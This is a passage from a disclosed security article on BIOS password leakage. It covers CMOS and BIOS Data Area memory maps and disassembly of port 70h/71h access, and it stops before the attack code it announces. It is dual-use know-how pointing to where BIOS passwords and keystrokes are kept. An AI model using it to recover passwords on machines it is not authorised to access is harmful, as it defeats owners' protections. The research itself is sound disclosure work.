Bios Information Leakage
Bios Manufacturers Warned : Yes
Feedback from Bios Manufacturers : None
CERT Warned : Yes
CERT Reference : VU#847537
|=-----------------------------------------------------------------------=|
|=-------------=[ BIOS Information Leakage ]=------------------=|
|=-----------------------------------------------------------------------=|
|=----------------=[ by Endrazine ]=---------------------=|
|=----------------=[ endrazine@xxxxxxxxxxxxxxx ]=---------------------=|
|=-----------------------------------------------------------------------=|
Plan :
1 - Introduction
2 - A Bios Overview
3 - Physical Ports Acess : CMOS Phun
4 - Physical memory access applyed to Keyboard buffer access
5 - Final considerations
6 - Greetings & References
7 - Appendix
--[ 1 - Introduction
About ten years ago, while I was a teenage student, I started programming
at school. I used to study Turbo Pascal, and since I was a real beginner,
I made several programming mistakes. I especially got a few segementation
faults which led to random memory dumps. No big deal at first sight.
But one of the dumps was interesting : it showed the Bios password in
plain text. So I knew this password was in plain text somewhere in
memory. Knowing an attack is possible is one thing, exploiting it is much
harder. Exploiting it using new techniques is even better : this is what
this paper will describe.
Hence, the main goal of this article isn't to detail the Bios cracking
methodology but to use Bios cracking as a pretext to introduce little
known techniques to explore the content of a computer : physical ports
interfacing and physical memory reading and writing among others, which
are very little used today in the linux world.
After a Bios role overview discribing the the Bios structure, we will
focus on the main topic of this article : physical port communication
applyed to CMOS password tricks under Linux, and reading the password
from physical memory in the following section.
I insist that this paper doesn't aim at helping kids in gaining access to
computers : what matters here are the new techniques employed rather than
the lame actions you could do applying those techniques.
Every single piece of code has been tested both on a Toshiba laptop
(Toshiba Satellite Pro A60, 768 Mo RAM, Insyde Bios V190) running Debian
Linux (kernel 2.6.11) and a Desktop Computer (p100 MHz, 40Mo RAM, AWARD
Bios Modular 4.50pg) running Gentoo Linux (kernel 2.6.10). 99% of the
code granted to compile and run fine under root privileges.
To illustrate this article, I will provide exerpts from the disasm of my
own Bios (the toshiba laptop mentioned earlier : yeah, it's a cheap one,
send me money ;). Keep in mind that many Bios operations are very model
specific, so I encourage you to reverse your own Bios and to refer to
your mother board's data sheet for more accurate informations concerning
your own Bios ROM. I used sysodeco [1] to unpack my Bios and IDA 4.3
freeware edition [2] to disasemble the ROM. The ROM I used in this
article is uued as appendix. IDA generated asm code is also available on
request.
--[ 2 - A Bios Overview
I will detail the role of Bios through a boot process overview. This
exlpaination is not exhaustive. (I will give details about what is
relevant for the rest of my paper), but you can refer to Intel volume
III [3] to get more informations on this topic (the section detailling
the Northbrige should answer your questions).
Informations contained in this section are a combination of my own
experimentations along with four other sources : the "BIOS companion"
book [4], which is merely a compilation of motherboards data sheets, for
the figures, the "BIOS Survival Guide Version 5.4" [5] for additional
infos concerning the CMOS role, "Award BIOS Reverse Engineering" article
from Mappatutu Salihun Darmawan for code breakers[6], and of course Intel
volume III [3].
Mappatutu Salihun Darmawan's article is very complete and attempts to
explain how the Bios (which starts in protected mode) can switch to real
mode, and even run 32b instructions...
At boot time, a computer starts thanks to a piece of software stored as
ROM on the motherboard : the Basic Input Output System (BIOS). The BIOS
configuration is stored in an other chip, called Complementary Metal
Oxide Semi-conductor (CMOS). Since CMOS is not launched in RAM (your
computer RAM is not known by BIOS before a while anyway), accessing your
CMOS requires you to perform physical ports communications through ports
70h and 71h (we will see this in detail later, since this is the core of
this article).
The standard CMOS Map is provided below as figure 1 (based on infos from
the "Bios Companion Book").
figure 1 : CMOS MAP
Offset Size Function
0x00 1 byte RTC seconds. Contains the seconds value of current
time. (BCD*)
0x01 1 byte RTC seconds alarm. Contains the seconds value for the
RTC alarm (BCD*)
0x02 1 byte RTC minutes. Contains the minutes value of the current
time (BCD*)
0x03 1 byte RTC minutes alarm. Contains the minutes value for the
RTC alarm (BCD*)
0x04 1 byte RTC hours. Contains the hours value of the current time
(BCD Format*)
0x05 1 byte RTC hours alarm. Contains the hours value for the RTC a
larm (BCD*)
0x06 1 byte RTC day of week. Contains the current day of the week
(1 .. 7, sunday=1)
0x07 1 byte RTC date day. Contains day value of current date (BCD*)
0x08 1 byte RTC date month. Contains the month value of current date
(BCD*)
0x09 1 byte RTC date year. Contains the year value of current date
(BCD*)
0x0A 1 byte Status Register A
Bit 7 = Update in progress
0 = Date and time can be read
1 = Time update in progress
Bits 6-4 = Time frequency divider
Bits 3-0 = Rate selection frequency
0x0B 1 byte Status Register B
Bit 7 = Clock update cycle
0 = Update normally
1 = Abort update in progress
Bit 6 = Periodic interrupt
0 = Disable interrupt (default)
1 = Enable interrupt
Bit 5 = Alarm interrupt
0 = Disable interrupt (default)
1 = Enable interrupt
Bit 4 = Update ended interrupt
0 = Disable interrupt (default)
1 = Enable interrupt
Bit 3 = Status register A square wave frequency
0 = Disable square wave (default)
1 = Enable square wave
Bit 2 = 24 hour clock
0 = 24 hour mode (default)
1 = 12 hour mode
Bit 1 = Daylight savings time
0 = Disable daylight savings (default)
1 = Enable daylight savings
0x0C 1 byte Status Register C - Read only flags indicating system
status conditions
Bit 7 = IRQF flag
Bit 6 = PF flag
Bit 5 = AF flag
Bit 4 = UF flag
Bits 3-0 = Reserved
0x0D 1 byte Status Register D - Valid CMOS RAM flag on bit 7
(battery condition flag)
Bit 7 = Valid CMOS RAM flag
0 = CMOS battery dead
1 = CMOS battery power good
Bit 6-0 = Reserved
0x0E 1 byte Diagnostic Status
Bit 7 = Real time clock power status
0 = CMOS has not lost power
1 = CMOS has lost power
Bit 6 = CMOS checksum status
0 = Checksum is good
1 = Checksum is bad
Bit 5 = POST configuration information status
0 = Configuration information is valid,
1 = Configuration information in invalid
Bit 4 = Memory size compare during POST
0 = POST memory equals configuration
1 = POST memory not equal to configuration
Bit 3 = Fixed disk/adapter initialization
0 = Initialization good
1 = Initialization bad
Bit 2 = CMOS time status indicator
0 = Time is valid
1 = Time is invalid
Bit 1-0 = Reserved
0x0F 1 byte CMOS Shutdown Status
00h = Power on or soft reset
01h = Memory size pass
02h = Memory test pass
03h = Memory test fail
04h = POST complete; boot system
05h = JMP double word pointer with EOI
06h = Protected mode tests pass
07h = protected mode tests fail
08h = Memory size fail
09h = Int 15h block move
0Ah = JMP double word pointer without EOI
0Bh = Used by 80386
0x10 1 byte Floppy Disk Drive Types
Bits 7-4 = Drive 0 type
Bits 3-0 = Drive 1 type
0000 = None
0001 = 360KB
0010 = 1.2MB
0011 = 720KB
0100 = 1.44MB
0x11 1 byte System Configuration Settings
Bit 7 = Mouse support disable/enable
Bit 6 = Memory test above 1MB disable/enable
Bit 5 = Memory test tick sound disable/enable
Bit 4 = Memory parity error check disable/enable
Bit 3 = Setup utility trigger display disable/enable
Bit 2 = Hard disk type 47 RAM area
Bit 1 = Wait for<F1> if any error message disable/enable
Bit 0 = System boot up with Numlock (off/on status)
0x12 1 byte Hard Disk Types
Bits 7-4 = Hard disk 0 type
Bits 3-0 = Hard disk 1 type
0000 = No drive installed
0001 = Type 1 installed
1110 = Type 14 installed
1111 = Type 16-47 (defined later in 19h)
0x13 1 byte Typematic Parameters
Bit 7 = typematic rate programming disable/enabled
Bit 6-5 = typematic rate delay
Bit 4-2 = Typematic rate
0x14 1 byte Installed Equipment
Bits 7-6 = Number of floppy disks
00 = 1 floppy disk
01 = 2 floppy disks
Bits 5-4 = Primary display
00 = Use display adapter BIOS
01 = CGA 40 column
10 = CGA 80 column
11 = Monochrome Display Adapter
Bit 3 = Display adapter installed/not installed
Bit 2 = Keyboard installed/not installed
Bit 1 = math coprocessor installed/not installed
Bit 0 = Always set to 1
0x15 1 byte Base Memory Low Order Byte - Least significant byte
0x16 1 byte Base Memory High Order Byte - Most significant byte
0x17 1 byte Extended Memory Low Order Byte - Least significant byte
0x18 1 byte Extended Memory High Order Byte - Most significant byte
0x19 1 byte Hard Disk 0 Extended Type -
0x10h to 0x2Eh = Type 16 to 46 respectively
0x1A 1 byte Hard Disk 1 Extended Type -
0x10h to 0x2Eh = Type 16 to 46 respectively
0x1B 1 byte User Defined Drive C:
Number of cylinders least significant byte
0x1C 1 byte User Defined Drive C:
Number of cylinders most significant byte
0x1D 1 byte User Defined Drive C:
Number of heads
0x1E 1 byte User Defined Drive C:
Write precomp cylinder least significant byte
0x1F 1 byte User Defined Drive C:
Write precomp cylinder most significant byte
0x20 1 byte User Defined Drive C:
Control byte
0x21 1 byte User Defined Drive C:
Landing zone least significant byte
0x22 1 byte User Defined Drive C:
Landing zone most significant byte
0x23 1 byte User Defined Drive C:
Number of sectors
0x24 1 byte User Defined Drive D:
Number of cylinders least significant byte
0x25 1 byte User defined Drive D:
Number of cylinders most significant byte
0x26 1 byte User Defined Drive D:
Number of heads
0x27 1 byte User Defined Drive D:
Write precomp cylinder least significant byte
0x28 1 byte User Defined Drive D:
Write precomp cylinder most significant byte
0x29 1 byte User Defined Drive D:
Control byte
0x2A 1 byte User Defined Drive D:
Landing zone least significant byte
0x2B 1 byte User Defined Drive D:
Landing zone most significant byte
0x2C 1 byte User Defined Drive D:
Number of sectors
0x2D 1 byte System Operational Flags
Bit 7 = Weitek processor present/absent
Bit 6 = Floppy drive seek at boot enable/disable
Bit 5 = System boot sequence
Bit 4 = System boot CPU speed high/low
Bit 3 = External cache enable/disable
Bit 2 = Internal cache enable/disable
Bit 1 = Fast gate A20 operation enable/disable
Bit 0 = Turbo switch function enable/disable
0x2E 1 byte CMOS Checksum High Order Byte - Most significant byte
0x2F 1 byte CMOS Checksum Low Order Byte - Least significant byte
0x30 1 byte Actual Extended Memory Low Order Byte
Least significant byte
0x31 1 byte Actual Extended Memory High Order Byte
Most significant byte
0x32 1 byte Century Date BCD - Value for century of current date
0x33 1 byte POST Information Flags
Bit 7 = BIOS length (64KB/128KB)
Bit 6-1 = reserved
Bit 0 = POST cache test passed/failed
0x34 1 byte BIOS and Shadow Option Flags
Bit 7 = Boot sector virus protection disabled/enabled
Bit 6 = Password checking option disabled/enabled
Bit 5 = Adapter ROM shadow C800h (16KB) disabled/enabled
Bit 4 = Adapter ROM shadow CC00h (16KB) disabled/enabled
Bit 3 = Adapter ROM shadow D000h (16KB) disabled/enabled
Bit 2 = Adapter ROM shadow D400h (16KB) disabled/enabled
Bit 1 = Adapter ROM shadow D800h (16KB) disabled/enabled
Bit 0 = Adapter ROM shadow DC00h (16KB) disabled/enabled
0x35 1 byte BIOS and Shadow Option Flags
Bit 7 = Adapter ROM shadow E000h (16KB) disabled/enabled
Bit 6 = Adapter ROM shadow E400h (16KB) disabled/enabled
Bit 5 = Adapter ROM shadow E800h (16KB) disabled/enabled
Bit 4 = Adapter ROM shadow EC00h (16KB) disabled/enabled
Bit 3 = System ROM shadow F000h (16KB) disabled/enabled
Bit 2 = Video ROM shadow C000h (16KB) disabled/enabled
Bit 1 = Video ROM shadow C400h (16KB) disabled/enabled
Bit 0 = Numeric processor test disabled/enabled
0x36 1 byte Chipset Specific Information
0x37 1 byte Password Seed and Color Option
Bit 7-4 = Password seed (do not change)
Bit 3-0 = Setup screen color palette
07h = White on black
70h = Black on white
17h = White on blue
20h = Black on green
30h = Black on turquoise
47h = White on red
57h = White on magenta
60h = Black on brown
0x38 6 byte Encrypted Password
0x3E 1 byte Extended CMOS Checksum - Most significant byte
0x3F 1 byte Extended CMOS Checksum - Least significant byte
0x40 1 byte Model Number Byte
0x41 1 byte 1st Serial Number Byte
0x42 1 byte 2nd Serial Number Byte
0x43 1 byte 3rd Serial Number Byte
0x44 1 byte 4th Serial Number Byte
0x45 1 byte 5th Serial Number Byte
0x46 1 byte 6th Serial Number Byte
0x47 1 byte CRC Byte
0x48 1 byte Century Byte
0x49 1 byte Date Alarm
0x4A 1 byte Extended Control Register 4A
0x4B 1 byte Extended Control register 4B
0x4C 1 byte Reserved
0x4D 1 byte Reserved
0x4E 1 byte Real Time Clock - Address 2
0x4F 1 byte Real Time Clock - Address 3
0x50 1 byte Extended RAM Address - Least significant byte
0x51 1 byte Extended RAM Address - Most significant byte
0x52 1 byte Reserved
0x53 1 byte Extended RAM Data Port
0x54 1 byte Reserved
0x55 1 byte Reserved
0x56 1 byte Reserved
0x57 1 byte Reserved
0x58 1 byte Reserved
0x59 1 byte Reserved
0x5A 1 byte Reserved
0x5B 1 byte Reserved
0x5C 1 byte Reserved
0x5D 1 byte Reserved
NOTE : (*) The BCD format is used by Bios to store numbers. Numbers are
stored in hex format, but the upper nible contains the 10-digits, while
the lower one contains the 1-digits.
If you dump your Bios ROM or simply download a new one from your Bios
manufacturer and try to disassemble it, you will see that some parts
of your Bios are packed. Actually, if you launch such a ROM with IDA,
you'll see that the only non packed parts are unpacking routine.
Start by looking at the ASCII strings in your Bios and look for an
unpacker, or build a simple unpacker using those routines (as opposite
to ELF unpacking, you already know where to find those routines : they
are the only one you'll see as code :). Since I'm lazy, I first looked
at the strings in my ROM using the linux 'file' and 'strings' commands.
The interesting one for Toshba Bioses is this one :
"all rights reserved Insyde software Corp."
Insyde Software is a Bios manufacturer anciently known as System Soft.
So I searched for an unpacker (I told you, I am lazy) and found sysodeco
unpacker here [1]. If you plan to unpack yours, looking at "Advanced Bios
logo reader" (http://www.kaos.ru/biosgfx/index.html) [7] first can
be time saving : it contains unpackers for many Bioses.
When pushing the button, BIOS will perform
an analisys of the system components (I'll axplain this point later) and
initialize the video system. In my Bios, this is done this way :
push bp
mov bp, sp
push ax
push bx
push cx
pushf
cli
mov cx, 1
mov ax, 4F05h
xor bx, bx
int 10h ; - VIDEO - VESA SuperVGA BIOS - VESA SuperVGA BIOS
- CPU VIDEO MEMORY CONTROL
; BL = 00h window A, 01h window B
; Return: AL = 4Fh function supported
; AH = 00h successful, 01h failed
; BH = subfunctionselect video memory window
cmp ah, 4Fh
jz near ptr 45DDh
loop near ptr 45CCh
mov cx, 1
mov ax, 4F05h
mov bx, 1
int 10h ; - VIDEO - VESA SuperVGA BIOS - VESA SuperVGA BIOS
- CPU VIDEO MEMORY CONTROL
; BL = 00h window A, 01h window B
; Return: AL = 4Fh function supported
; AH = 00h successful, 01h failed
; BH = subfunctionselect video memory window
cmp ax, 4Fh
jz near ptr 45ECh
loop near ptr 45DDh
popf
pop cx
pop bx
pop ax
leave
retn
This process is known as POST (Power-On Self Test). This operation
is a crucial for your system since the BIOS will initialize important
periferals. I reallized that the BIOS gets those informations through
CMOS queries, as shown below, or through physical ports queries on
port 72h and 73h, which are used to access the extended RAM following
"Award BIOS Reverse Engineering" from Mappatutu Salihun Darmawan [6].
Here is how the Toshiba Bios accesses CMOS configurations :
push bp
mov bp, sp
mov al, [bp+4]
out 70h, al ; CMOS Memory:
; used by real-time clock
in al, 71h ; CMOS Memory
leave
retn
And how it can access extended RAM to get Northbrige infos :
push bp
mov bp, sp
mov al, [bp+4]
or al, 80h
out 72h, al
in al, 73h
leave
retn
There is a Checksum at 0x2E in the CMOS that certifies it as not been
corrupted. The Bios will recalculate this checksum and set a flag in CMOS
at 0x0E if the checksum is wrong, then the CMOS is set back to its
default configuration.
The Bios will then ask you for a password. This password will be
compared with the one stored in CMOS at 0x38 (as shown in figure 1).
How is this done in detail ? To understand this magic, I need to
introduce one more structure, the Bios Data Area (BDA). (figure 2 is
also based on inforamations from the "Bios Companion Book").
figure 2 : Bios Data Area MAP
Offset Size Description
0x00 2 bytes Base I/O address for serial port 1
(communications port 1 - COM 1)
0x02 2 bytes Base I/O address for serial port 2
(communications port 2 - COM 2)
0x04 2 bytes Base I/O address for serial port 3
(communications port 3 - COM 3)
0x06 2 bytes Base I/O address for serial port 4
(communications port 4 - COM 4)
0x08 2 bytes Base I/O address for parallel port 1
(printer port 1 - LPT 1)
0x0A 2 bytes Base I/O address for parallel port 2
(printer port 2 - LPT 2)
0x0C 2 bytes Base I/O address for parallel port 3
(printer port 3 - LPT 3)
0x0E 2 bytes Base I/O address for parallel port 4
(printer port 4 - LPT 4)
0x10 2 bytes Equipment Word
Bits 15-14 indicate the number of parallel ports installed
00b = 1 parallel port
01b = 2 parallel ports
03b = 3 parallel ports
Bits 13-12 are reserved
Bits 11-9 indicate the number of serial ports installed
000b = none
001b = 1 serial port
002b = 2 serial ports
003b = 3 serial ports
004b = 4 serial ports
Bit 8 is reserved
Bit 7-6 indicate the number of floppy drives installed
0b = 1 floppy drive
1b = 2 floppy drives
Bits 5-4 indicate the video mode
00b = EGA or later
01b = color 40x25
10b = color 80x25
11b = monochrome 80x25
Bit 3 is reserved
Bit 2 indicates if a PS/2 mouse is installed
0b = not installed
1b = installed
Bit 1 indicated if a math coprocessor is installed
0b = not installed
1b = installed
Bit 0 indicated if a boot floppy is installed
0b = not installed
1b = installed
0x12 1 byte Interrupt flag - Manufacturing test
0x13 2 bytes Memory size in Kb
0x15 2 bytes Error codes for AT+
Adapter memory size for PC and XT
0x17 1 byte Keyboard shift flags 1
Bit 7 indicates if Insert is on or off
0b = Insert off
1b = Insert on
Bit 6 indicates if CapsLock is on or off
0b = CapsLock off
1b - CapsLock on
Bit 5 indicates if NumLock is on or off
0b = NumLock off
1b = NumLock on
Bit 4 indicates if ScrollLock is on or off
0b = ScrollLock off
1b = ScrollLock on
Bit 3 indicates if the Alt key is up or down
0b = Alt key is up
1b = Alt key is down
Bit 2 indicates if the Control key is up or down
0b = Control key is up
1b = Control key is down
Bit 1 indicates if the Left Shift key is up or down
0b = Left Shift key is up
1b = Left Shift key is down
Bit 0 indicates if the Right Shift key is up or down
0b = Right Shift key is up
1b = Right Shift key is down
0x18 1 byte Keyboard shift flags 2
Bit 7 indicates if the Insert key is up or down
0b = Insert key is up
1b = Insert key is down
Bit 6 indicates if the CapsLock key is up or down
0b = CapsLock is key is up
1b = CapsLock key is down
Bit 5 indicates if the NumLock key is up or down
0b = NumLock key is up
1b = Numlock key is down
Bit 4 indicates if the ScrollLock key is up or down
0b = ScrollLock key is up
1b = ScrollLock key is down
Bit 3 indicates if the Pause key is active or inactive
0b = pause key is inactive
1b = Pause key is active
Bit 2 indicates if the SysReg key is up or down
0b = SysReg key is up
1b = SysReg key is down
Bit 1 indicates if the Left Alt key is up or down
0b = Left Alt key is up
1b = Left Alt key is down
Bit 0 indicates if the Right Alt key is up or down
0b = Right Alt key is up
1b = Right Alt key is down
0x19 1 byte Alt Numpad work area
0x1A 2 bytes Pointer to the address of the next character in the
keyboard buffer
0x1C 2 bytes Pointer to the address of the last character in the
keyboard buffer
0x1E 32 bytes Keyboard buffer
0x3E 1 byte Floppy disk drive calibration status
Bits 7-4 are reserved
Bit 3 = floppy drive 3 (PC, XT)
Bit 2 = floppy drive 2 (PC, XT)
Bit 1 = floppy drive 1
Bit 0 = floppy drive 0
0b indicates not calibrated
1b indicates calibrated
0x3F 1 byte Floppy disk drive motor status
Bit 7 indicates current operation
0b = read or verify operation
1b = write or format operation
Bit 6 is not used
Bit 5-4 indicates drive select
00b = Drive 0
01b = Drive 1
10b = Drive 2 (PC, XT)
11b = Drive 4 (PC, XT)
Bit 3 indicates drive 3 motor
0b = motor off
1b = motor on
Bit 2 indicates drive 2 motor
0b = motor off
1b = motor on
Bit 1 indicates drive 0 motor
0b = motor off
1b = motor on
0b = motor off
1b = motor on
0x40 1 byte Floppy disk drive motor time-out
0x41 1 byte Floppy disk drive status
Bit 7 indicates drive ready status
0b = drive ready
1b = drive not ready (time out)
Bit 6 indicates seek status
0b = no seek error detected
1b = indicates a seek error was detected
Bit 5 indicates floppy disk controller test
0b = floppy disk controller passed
1b = floppy disk controller failed
Bit 4-0 error codes
00000b = no errors
00001b = illegal function requested
00010b = address mark not found
00011b = write protect error
00100b = sector not found
00110b = diskette change line active
01000b = DMA overrun
01001b = DMA boundary error
01100b = unknown media type
10000b = CRC error during read
0x42 1 byte Hard disk and floppy controller status register 0
Bit 7-6 indicate the interrupt code
00b = command completed normally
01b = command terminated abnormally
10b = abnormal termination, ready line on
or diskette changed
11b = seek command not completed
Bit 5 indicated seek command
0b = seek command not completed
1b = seek command completed
Bit 4 indicated drive fault
0b = no drive fault
1b = drive fault
Bit 3 indicates drive ready
0b = drive ready
1b = drive not ready
Bit 2 indicates head state when interrupt occurred
00b = drive 0
01b = drive 1
10b = drive 2 (PC, XT)
11b = drive 3 (PC, XT)
Bit 1-0 indicates drive select
00b = drive 0
01b = drive 1
10b = drive 2 (PC, XT)
11b = drive 3 (PC, XT)
0x43 1 byte Floppy drive controller status register 1
Bit 7-0 indicates no error
Bit 7, 1b = indicates attempted access beyond
last cylinder
Bit 6, 0b = not used
Bit 5, 1b = CRC error during read
Bit 4, 1b = DMA overrun
Bit 3, 0b = not used
Bit 2, 1b = Sector not found or reading diskette ID failed
Bit 1, 1b = medium write protected
Bit 0, 1b = missing address mark
0x44 1 byte Floppy drive controller status register 2
Bit 7, 0b = not used
Bit 6, 1b = deleted data address mark
Bit 5, 1b = CRC error detected
Bit 4, 1b = wrong cylinder
Bit 3, 1b = condition of equal during verify
Bit 2, 1b = sector not found during verify
Bit 1, 1b = bad cylinder
Bit 0, 1b = address mark not found during read
0x45 1 byte Floppy disk controller: cylinder number
0x46 1 byte Floppy disk controller: head number
0x47 1 byte Floppy disk controller: sector number
0x48 1 byte Floppy disk controller: number of byte written
0x49 1 byte Active video mode setting
0x4A 2 bytes Number of textcolumns per row for the active video mode
0x4C 2 bytes Size of active video in page bytes
0x4E 2 bytes Offset address of the active video page relative to the
start of video RAM
0x50 2 bytes Cursor position for video page 0
0x52 2 bytes Cursor position for video page 1
0x54 2 bytes Cursor position for video page 2
0x56 2 bytes Cursor position for video page 3
0x58 2 bytes Cursor position for video page 4
0x5A 2 bytes Cursor position for video page 5
0x5C 2 bytes Cursor position for video page 6
0x5E 2 bytes Cursor position for video page 7
0x60 2 bytes Cursor shape
0x62 1 byte Active video page
0x63 2 bytes I/O port address for the video display adapter
0x65 1 byte Video display adapter internal mode register
Bit 7, 0b = not used
Bit 6, 0b = not used
Bit 5
0b = attribute bit controls background intensity
1b = attribute bit controls blinking
Bit 4, 1b = mode 6 graphics operation
Bit 3 indicates video signal
0b = video signal disabled
1b = video signal enabled
Bit 2 indicates color operation
0b = color operation
1b = monochrome operation
Bit 1, 1b = mode 4/5 graphics operation
Bit 0, 1b = mode 2/3 test operation
0x66 1 byte Color palette
Bit 7, 0b = not used
Bit 6, 0b = not used
Bit 5 indicates mode 5 foreground colors
0b = green/red/yellow
1b = cyan/magenta/white
Bit 4 indicates background color
0b = normal background color
1b = intensified background color
Bit 3 indicates intensified border color (mode 2) and
background color (mode 5)
Bit 2 indicates red
Bit 1 indicates green
Bit 0 indicates blue
0x67 2 bytes Adapter ROM offset address
0x69 2 bytes Adapter ROM segment address
0x6B 1 byte Last interrupt (not PC)
Bit 7 indicates IRQ 7 hardware interrupt
0b = did not occur
01 = did occur
Bit 6 indicates IRQ 6 hardware interrupt
0b = did not occur
01 = did occur
Bit 5 indicates IRQ 5 hardware interrupt
0b = did not occur
01 = did occur
Bit 4 indicates IRQ 4 hardware interrupt
0b = did not occur
01 = did occur
Bit 3 indicates IRQ 3 hardware interrupt
0b = did not occur
01 = did occur
Bit 2 indicates IRQ 2 hardware interrupt
0b = did not occur
01 = did occur
Bit 1 indicates IRQ 1 hardware interrupt
0b = did not occur
01 = did occur
Bit 0 indicates IRQ 0 hardware interrupt
0b = did not occur
01 = did occur
0x6C 4 bytes Counter for Interrupt 1Ah
0x70c 1 byte Timer 24 hour flag
0x71 1 byte Keyboard Ctrl-Break flag
0x72 2 bytes Soft reset flag
0x74 1 byte status of last hard disk operation
00h = no errors
01h = invalid function requested
02h = address mark not found
04h = sector not found
05h = reset failed
06h = removable media changed
07h = drive parameter activity failed
08h = DMA overrun
09h = DMA boundary overrun
0Ah = bad sector flag detected
0Bh = bad track detected
0Dh = invalid number of sectors on format
0Eh = control data address mark detected
0Fh = DMA arbitration level out of range
10h = uncorrectable ECC or CRC error
11h = ECC corrected data error
20h = general controller failure
40h = seek operation failed
80h = timeout
AAh = drive not ready
BBh = undefined error occurred
CCh = write fault on selected drive
E0h = status error or error register is zero
FFh = sense operation failed
0x75 1 byte Number of hard disk drives
0x76 1 byte Hard disk control byte
Bit 7
0b = enables retries on disk error
1b = disables retries on disk error
Bit 6
0b = enables reties on disk error
1b = enables reties on disk error
Bit 5, 0b = not used
Bit 4, 0b = not used
Bit 3
0b = drive has less than 8 heads
1b = drive has more than 8 heads
Bit 2, 0b = not used
Bit 1, 0b = not used
Bit 0, 0b = not used
0x77 1 byte Offset address of hard disk I/O port (XT)
0x78 1 byte Parallel port 1 timeout
0x79 1 byte Parallel port 2 timeout
0x7A 1 byte Parallel port 3 timeout
0x7B 1 byte Parallel port 4 timeout (PC, XT) support for virtual DMA
services (VDS)
Bit 7, 0b = not used
Bit 6, 0b = not used
Bit 5 indicates virtual DMA services
0b = not supported
1b = supported
Bit 4, 0b = not used
Bit 3 indicates chaining on interrupt 4Bh
0b = not required
1b = required
Bit 2, 0b = not used
Bit 1, 0b = not used
Bit 0, 0b = not used
0x7C 1 byte serial port 1 timeout
0x7D 1 byte serial port 2 timeout
0x7E 1 byte serial port 3 timeout
0x7F 1 byte serial port 4 timeout
0x80 2 bytes Starting address of keyboard buffer
0x82 2 bytes Ending address of keyboard buffer
0x84 1 byte Number of video rows (minus 1)
0x85 2 bytes Number of scan lines per character
0x87 1 byte Video display adapter options
Bit 7 indicates bit 7 of the last video mode
0b = clear display buffer when setting mode
1b = do not clear the display buffer
Bit 6-4 indicates the amount of memory on the video
display adapter
000b = 64Kb
001b = 128Kb
010b = 192Kb
011b = 256Kb
100b = 512Kb
110 = 1024Kb or more
Bit 3 indicates video subsystem
0b = not active
1b = active
Bit 2 is reserved
Bit 1 indicates monitor type
0b = color
1b = monochrome
Bit 0 indicates alphanumeric cursor emulation
0b = disabled
1b = enabled
0x88 1 byte Video display adapter switches
Bit 7 indicates state of feature connector line 1
Bit 6 indicates state of feature connector line 0
Bit 5-4 not used
Bit 3-0 indicate adapter type switch settings
0000b = MDA/color 40x25
0001b = MDA/color 80x25
0010b = MDA/high-resolution 80x25
0011b = MDA/high-resolution enhanced
0100b = CGA 40x25/monochrome
0101b = CGA 80x25/monochrome
0110b = color 40x25/MDA
0111b = color 80x25/MDA
1000b = high-resolution 80x25/MDA
1001b = high-resolution enhanced/MDA
1010b = monochrome/CGA 40x25
1011b = monochrome/CGA 80x25
0x89 1 byte VGA video flags 1
Bit 7 and 4 indicate scanline mode
00b = 350-line mode
01b = 400-line mode
10b = 200-line mode
Bit 6 indicates display switch
0b = disabled
1b = enabled
Bit 5 is reserved
Bit 3 indicates default palette loading
0b = disabled
1b= enabled
Bit 2 indicates monitor type
0b = color
1b = monochrome
Bit 1 indicates gray scale summing
0b = disabled
1b = enabled
Bit 0 indicates VGA active state
0b = VGA inactive
1b = VGA active
0x8A 1 byte VGA video flags 2
0x8B 1 byte Floppy disk configuration data
Bit 7-6 indicate last data sent to the controller
00b = 500 Kbit/sec/sec
01b = 300 Kbit/sec
10b = 250 Kbit/sec
11b = rate not set or 1 Mbit/sec
Bit 5-4 indicate last drive steprate sent to the
controller
00b = 8ms
01b = 7ms
10b = 6ms
11b = 5ms
Bit 3-2 indicate data rate, set at start of
operation (Bits 7-6)
Bit 1-0 not used
0x8C 1 byte Hard disk drive controller status
Bit 7 indicates controller state
0b = controller not busy
1b = controller busy
Bit 6 indicates drive ready state
0b = drive selected not ready
1b = drive selected ready
Bit 5 indicates write fault
0b = write fault did not occur
1b = write error occurred
Bit 4 indicates seek state
0b = drive selected seeking
1b = drive selected seek complete
Bit 3 indicates data request
0b = data request is inactive
1b = data request is active
Bit 2 indicates data correction
0b = data not corrected
1b = data corrected
Bit 1 indicates index pulse state
0b = index pulse inactive
1b = index pulse active
Bit 0 indicates error
0b = no error
1b = error in previous command
0x8D 1 byte Hard disk drive error
Bit 7 indicates bad sector
0b = not used
1b = bad sector detected
Bit 6 indicated ECC error
0b = not used
1b = uncorrectable ECC error occurred
Bit 5 indicates media state
0b = not used
1b = media changed
Bit 4 indicates sector state
0b = not used
1b = ID or target sector not found
Bit 3 indicates media change request state
0b = not used
1b = media change requested
Bit 2 indicates command state
0b = not used
1b = command aborted
Bit 1 indicates drive track error
0b = not used
1b = track 0 not found
Bit 0 indicates address mark
0b = not used
1b = address mark not found
0x8E 1 byte Hard disk drive task complete flag
0x8F 1 byte Floppy disk drive information
Bit 7 not used
Bit 6 indicates drive 1 type determination
0b = not determined
1b = determined
Bit 5 indicates drive 1 multirate status
0b = no
1b = yes
Bit 4 indicates diskette 1 change line detection
0b = no
1b = yes
Bit 3 not used
Bit 2 indicates drive 0 type determination
0b = not determined
1b = determined
Bit 1 indicates drive 0 multirate status
0b = no
1b = yes
Bit 0 indicates diskette 0 change line detection
0b = no
1b = yes
0x90 1 byte Diskette 0 media state
Bit 7-6 indicate transfer rate
00b = 500 Kbit/sec
01b = 300 Kbit/sec
10b = 250 Kbit/sec
11b = 1 Mbit/sec
Bit 5 indicates double stepping
0b = not required
1b = required
Bit 4 indicates media in floppy drive
0b = unknown media
1b = known media
Bit 3 not used
Bit 2-0 indicates last access
000b = trying 360k media in 360K drive
001b = trying 360K media in 1.2M drive
010b = trying 1.2M media in 1.2M drive
011b = known 360K media on 360K drive
100b = known 360K media in 1.2M drive
101b = known 1.2M media in 1.2M drive
110b = not used
111b = 720K media in 720K drive or 1.44M media
in 1.44M drive
0x91 1 byte Diskette 1 media state
Bit 7-6 indicate transfer rate
00b = 500 Kbit/sec
01b = 300 Kbit/sec
10b = 250 Kbit/sec
11b = 1 Mbit/sec
Bit 5 indicates double stepping
0b = not required
1b = required
Bit 4 indicates media in floppy drive
0b = unknown media
1b = known media
Bit 3 not used
Bit 2-0 indicates last access
000b = trying 360k media in 360K drive
001b = trying 360K media in 1.2M drive
010b = trying 1.2M media in 1.2M drive
011b = known 360K media on 360K drive
100b = known 360K media in 1.2M drive
101b = known 1.2M media in 1.2M drive
110b = not used
111b = 720K media in 720K drive or 1.44M media in
